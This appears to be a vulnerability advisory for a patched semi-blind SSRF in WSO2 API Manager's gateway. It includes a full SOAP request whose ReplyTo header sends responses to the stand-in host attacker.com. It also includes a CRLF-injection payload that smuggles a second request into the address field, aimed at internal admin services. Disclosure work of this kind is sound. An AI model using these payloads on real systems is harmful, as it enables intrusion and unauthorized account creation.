A semi-blind SSRF vulnerability exists in WSO2 API Manager's Synapse gateway. When the gateway receives a SOAP request containing WS-Addressing headers, it honours the ReplyTo and FaultTo addresses without restriction. An unauthenticated attacker can force the server to make HTTP requests to arbitrary internal or external targets:
POST /service HTTP/1.1
Host: target
Content-Type: text/xml
SOAPAction: "urn:xxx"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<wsa:Action>urn:xxx</wsa:Action>
<wsa:ReplyTo>
<wsa:Address>https://attacker.com/</wsa:Address>
</wsa:ReplyTo>
</soapenv:Header>
<soapenv:Body><a>b</a></soapenv:Body>
</soapenv:Envelope>
The ReplyTo address can point to any URL. The FaultTo header works the same way, redirecting SOAP fault responses to an attacker-controlled endpoint.
The address URL is not sanitised, so CRLF injection in the ReplyTo or FaultTo address gives full control over the outgoing HTTP request path, headers, and body, e.g.:
<wsa:ReplyTo>
<wsa:Address>http://localhost:9443/internal/endpoint HTTP/1.1
Host: localhost:9443
Content-Length: 1

x
</wsa:Address>
</wsa:ReplyTo>The vulnerability is semi-blind: SOAP responses and fault messages from the target service are forwarded to the attacker-controlled callback URL, but non-SOAP HTTP responses are not. This is sufficient to invoke internal SOAP admin services (such as UserRegistrationAdminService to create user accounts) and observe their results, including success confirmations and error messages.
Because the requests originate from the WSO2 server itself, they bypass network-level access controls that would normally prevent external access to the management console and its SOAP admin services.
This vulnerability was responsibly disclosed and has been patched by the vendor.